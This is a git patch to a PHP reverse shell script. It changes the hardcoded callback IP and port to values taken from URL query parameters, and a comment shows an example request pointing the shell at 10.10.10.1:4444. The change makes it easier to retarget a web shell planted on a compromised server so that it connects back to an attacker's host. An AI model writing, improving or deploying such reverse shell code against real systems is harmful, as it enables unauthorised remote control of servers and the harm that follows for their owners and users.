From 43f410faacbefa7e8de2adc00363b635f38f742c Mon Sep 17 00:00:00 2001 From: Damjan Smickovski Date: Fri, 14 Jul 2023 10:19:28 +0200 Subject: [PATCH] Allow to specify port and IP dynamically --- php-reverse-shell.php | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/php-reverse-shell.php b/php-reverse-shell.php index 2503b71..658af4b 100755 --- a/php-reverse-shell.php +++ b/php-reverse-shell.php @@ -46,8 +46,9 @@ set_time_limit (0); $VERSION = "1.0"; -$ip = '127.0.0.1'; // CHANGE THIS -$port = 1234; // CHANGE THIS +// Specify rev shell port and ip as query strings e.g http://127.0.0.1/rev.php?ip=10.10.10.1&port=4444 +$ip = isset($_GET['ip']) ? $_GET['ip'] : '127.0.0.1'; +$port = isset($_GET['port']) ? $_GET['port'] : 1234; $chunk_size = 1400; $write_a = null; $error_a = null;